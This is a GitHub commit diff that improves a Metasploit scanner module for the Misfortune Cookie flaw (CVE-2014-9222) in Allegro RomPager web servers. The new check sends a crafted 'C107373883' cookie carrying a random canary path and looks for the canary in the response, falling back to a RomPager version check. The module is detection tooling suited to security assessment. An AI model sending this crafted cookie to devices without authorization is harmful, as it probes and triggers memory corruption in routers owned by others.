Skip to content

Commit 831ba8b

Browse files
committed
Improve (mis)Fortune Cookie (CVE-2014-9222) scanner
1 parent 3d20ea8 commit 831ba8b

File tree

1 file changed

+98
-20
lines changed

1 file changed

+98
-20
lines changed

modules/auxiliary/scanner/http/allegro_rompager_misfortune_cookie.rb

Lines changed: 98 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -27,38 +27,116 @@ def initialize(info = {})
2727
],
2828
'References' => [
2929
['CVE', '2014-9222'],
30-
['URL', 'http://mis.fortunecook.ie']
30+
['URL', 'http://mis.fortunecook.ie'],
31+
['URL', 'http://mis.fortunecook.ie/misfortune-cookie-suspected-vulnerable.pdf'], # list of likely vulnerable devices
32+
['URL', 'http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf'] # 31C3 presentation with POC
3133
],
3234
'DisclosureDate' => 'Dec 17 2014',
3335
'License' => MSF_LICENSE
3436
))
37+
end
38+
39+
def check_host(_ip)
40+
begin
41+
test_misfortune
42+
ensure
43+
disconnect
44+
end
45+
end
3546

36-
register_options([
37-
OptString.new('TARGETURI', [true, 'Path to fingerprint RomPager from', '/Allegro'])
38-
], self.class)
47+
def run_host(ip)
48+
case check_host(ip)
49+
when Exploit::CheckCode::Appears
50+
print_good("#{peer} is vulnerable")
51+
when Exploit::CheckCode::Detected
52+
print_good("#{peer} uses a vulnerable version")
53+
else
54+
vprint_status("#{peer} is not vulnerable")
55+
end
56+
end
57+
58+
def find_canary_uri
59+
vprint_status("#{peer} locating suitable canary URI")
60+
0.upto(4) do
61+
canary = '/' + Rex::Text.rand_text_alpha(16)
62+
res = send_request_cgi('uri' => normalize_uri(canary), 'method' => 'GET')
63+
# in most cases, the canary URI will not exist and will return a 404, but if everything under
64+
# TARGETURI is protected by auth, that may be fine too
65+
return canary if res.code == 401 || res.code == 404
66+
end
67+
nil
68+
end
69+
70+
def requires_auth?
71+
res = send_request_cgi(
72+
'uri' => normalize_uri(target_uri.path.to_s),
73+
'method' => 'GET'
74+
)
75+
return false unless res
76+
77+
http_fingerprint(response: res)
78+
if res.code == 401
79+
vprint_status("#{peer} requires authentication for #{target_uri.path}")
80+
true
81+
else
82+
vprint_status("#{peer} does not require authentication for #{target_uri.path} -- code #{res.code}")
83+
false
84+
end
3985
end
4086

41-
def check_host(ip)
42-
res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s), 'method' => 'GET')
87+
def test_misfortune
88+
return Exploit::CheckCode::Unknown unless requires_auth?
89+
90+
# find a usable canary URI (one that 401/404s already)
91+
unless canary = find_canary_uri
92+
vprint_error("#{peer} Unable to find a suitable canary URI")
93+
return Exploit::CheckCode::Unknown
94+
end
95+
96+
# Make a request containing a malicious cookie with the canary value.
97+
# If that canary shows up in the *body*, they are vulnerable
98+
res = send_request_cgi(
99+
'uri' => normalize_uri(target_uri.path.to_s),
100+
'method' => 'GET',
101+
'headers' => { 'Cookie' => "C107373883=#{canary}" }
102+
)
103+
104+
unless res
105+
vprint_error("#{peer} no response")
106+
return Exploit::CheckCode::Unknown
107+
end
108+
109+
# fingerprint because this is useful and also necessary if the canary is not
110+
# in the body
43111
fp = http_fingerprint(response: res)
44-
if /RomPager\/(?<version>[\d\.]+)$/ =~ fp
112+
113+
unless res.body
114+
vprint_status("#{peer} HTTP code #{res.code} had no body")
115+
return Exploit::CheckCode::Unknown
116+
end
117+
118+
if res.body.include?(canary)
119+
vprint_good("#{peer} HTTP code #{res.code} response contained canary URI #{canary}")
120+
report_vuln(
121+
host: rhost,
122+
port: rport,
123+
name: name,
124+
refs: references
125+
)
126+
return Exploit::CheckCode::Appears
127+
end
128+
129+
vprint_status("#{peer} HTTP code #{res.code} response did not contain canary URI #{canary}")
130+
if /RomPager\/(?<version>[\d\.]+)/ =~ fp
131+
vprint_status("#{peer} is RomPager #{version}")
45132
if Gem::Version.new(version) < Gem::Version.new('4.34')
46-
report_vuln(
47-
host: ip,
48-
port: rport,
49-
name: name,
50-
refs: references
51-
)
52-
return Exploit::CheckCode::Appears
53-
else
54133
return Exploit::CheckCode::Detected
55134
end
56-
else
57-
return Exploit::CheckCode::Safe
58135
end
59-
end
60136

61-
def run_host(ip)
62-
print_good("#{peer} appears to be vulnerable") if check_host(ip) == Exploit::CheckCode::Appears
137+
# TODO: ensure that the canary page doesn't exist in the first place
138+
# (returns a 404), and then ensure that the malcious request with the
139+
# carary in the cookie then returns a 404.
140+
Exploit::CheckCode::Safe
63141
end
64142
end

0 commit comments

Comments
 (0)